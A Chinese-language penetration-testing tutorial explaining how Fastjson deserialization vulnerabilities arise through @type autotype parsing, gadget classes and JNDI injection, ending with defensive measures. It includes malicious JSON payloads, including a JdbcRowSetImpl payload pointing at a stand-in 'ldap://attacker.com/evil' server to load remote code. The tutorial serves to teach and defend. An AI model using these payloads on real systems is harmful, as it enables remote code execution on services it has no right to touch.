【渗透测试】Fastjson 反序列化漏洞原理(一)
目录
- 一、Fastjson 是什么
- 二、Fastjson 工作原理
- 三、反序列化漏洞原理
- 1. 反序列化漏洞的定义
- 2. Fastjson 的反序列化机制
- 3. 漏洞成因关注以下几点
- (1) 动态类型解析
- (2) 自动调用方法
- (3) 信任用户输入
- 4. 漏洞利用过程
- (1) 寻找可利用的类(也称为 "Gadget")
- (2) 构造恶意 JSON 数据
- (3) 触发漏洞
- 5. 典型案例
- (1) JNDI 注入漏洞
- (2) 模板引擎注入
- 四、防御措施
一、Fastjson 是什么
Fastjson 是阿里巴巴旗下的一个开源 JSON 解析库,使用 Java 语言编写。它可以将 Java 对象序列化为 JSON 字符串,也可以将 JSON 字符串反序列化为 Java 对象。
String text = JSON.toJSONString(obj); // 序列化
VO vo = JSON.parseObject("{...}", VO.class); // 反序列化
- 序列化:对象 --> JSON
- 反序列化:JSON --> 对象
二、Fastjson 工作原理
Fastjson 的核心功能是将 JSON 字符串转换为 Java 对象(反序列化)或将 Java 对象转换为 JSON 字符串(序列化)。在反序列化过程中,Fastjson 会根据 JSON 字符串中的类名动态加载对应的类,并通过反射机制调用类的构造函数或 setter 方法来实例化对象。
代码举例:
String json = "{\"@type\":\"com.example.MyClass\",\"property\":\"value\"}";
Object obj = JSON.parseObject(json);
在这个例子中,Fastjson 会根据 @type
指定的类名(com.example.MyClass
)动态加载该类并创建实例。
三、反序列化漏洞原理
1. 反序列化漏洞的定义
反序列化漏洞是指攻击者通过构造恶意的 JSON 数据,使得反序列化过程执行了未经授权的代码。这通常发生在应用程序接受外部输入并将其反序列化为对象时,如果输入的数据格式不符合预期,或者应用程序没有适当地验证和过滤输入,攻击者可以注入恶意代码并执行。
2. Fastjson 的反序列化机制
Fastjson 使用自定义的反序列化器来将 JSON 字符串转换为 Java 对象。例如,如果一个 JSON 字符串包含一个类型字段,Fastjson 会尝试使用该类型信息来创建对应的 Java 对象:
{"type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"
}
在上述例子中,如果 type
字段指向一个恶意的类(如 java.lang.Class
),Fastjson 可能会尝试使用这个类信息来实例化对象。
3. 漏洞成因关注以下几点
(1) 动态类型解析
Fastjson 允许通过 @type
指定任意类名,这使得攻击者可以指定恶意类(如包含恶意代码的类)进行反序列化。
通常攻击者自启一个 RMI 服务,配合反序列化漏洞加载恶意对象从而实现代码执行。
(2) 自动调用方法
在反序列化过程中,Fastjson 会通过反射机制自动调用目标类的构造函数、setter 方法或其他方法。如果这些方法中存在可以被利用的逻辑(如执行命令、文件操作等),就可能引发安全问题。
(3) 信任用户输入
Fastjson 默认信任用户输入的 JSON 数据,未对类名、属性值等进行严格的校验和限制。这种信任模型使得攻击者能够通过构造恶意 JSON 数据来触发漏洞。
4. 漏洞利用过程
(1) 寻找可利用的类(也称为 “Gadget”)
这类类通常满足以下条件:
- 类中有可以被反射调用的方法。【反射调用:用于调用攻击者代码】
- 方法中包含危险操作,如执行系统命令、读写文件等。
常见的 Gadget 包括:
- JDK 自带的类(如
javax.management.BadAttributeValueExpException
、java.lang.ProcessBuilder
等) - 第三方库中的类(如 Apache Commons Collections 中的某些类)
(2) 构造恶意 JSON 数据
攻击者根据目标应用的环境和可用的 Gadget 构造恶意 JSON 数据。例如:
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"
}
这个 JSON 数据可能会导致 Fastjson 加载 JdbcRowSetImpl
类,并触发其中的 JNDI 注入漏洞。
(3) 触发漏洞
当目标应用调用 JSON.parseObject()
或类似方法解析恶意 JSON 数据时,Fastjson 会按照 JSON 数据中的指令动态加载类并调用相关方法,从而执行攻击者预设的恶意代码。
5. 典型案例
(1) JNDI 注入漏洞
在某些版本的 Fastjson 中,攻击者可以通过指定 @type
为 com.sun.rowset.JdbcRowSetImpl
并结合 JNDI 注入技术,实现远程代码执行。例如:
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://attacker.com/evil", // 攻击者自启的远程 LDAP 服务"autoCommit": true
}
在这种情况下,Fastjson 会尝试从攻击者控制的 LDAP 服务器加载恶意代码并执行。
(2) 模板引擎注入
如果目标应用使用了模板引擎(如 FreeMarker 或 Velocity),攻击者可以通过 Fastjson 反序列化漏洞注入恶意模板代码,从而实现任意代码执行。
四、防御措施
为了防止 Fastjson 反序列化漏洞,可以采取以下措施:
-
(1) 升级到最新版本
Fastjson 官方团队会定期修复已知漏洞,因此建议始终使用最新版本的 Fastjson。 -
(2) 禁用自动类型解析
通过配置ParserConfig.getGlobalInstance().setSafeMode(true)
或在反序列化时显式指定允许的类列表【白名单】,可以避免攻击者利用@type
动态加载恶意类。 -
(3) 严格校验输入
对所有用户输入的 JSON 数据进行严格校验,避免直接将其传递给JSON.parseObject()
方法。 -
(4) 使用白名单机制
在反序列化时,仅允许加载特定的类,以减少潜在的安全风险。 -
(5) 替换为其他 JSON 库
如果可能,可以考虑使用其他更安全的 JSON 库(如 Jackson 或 Gson),并在必要时禁用 Fastjson。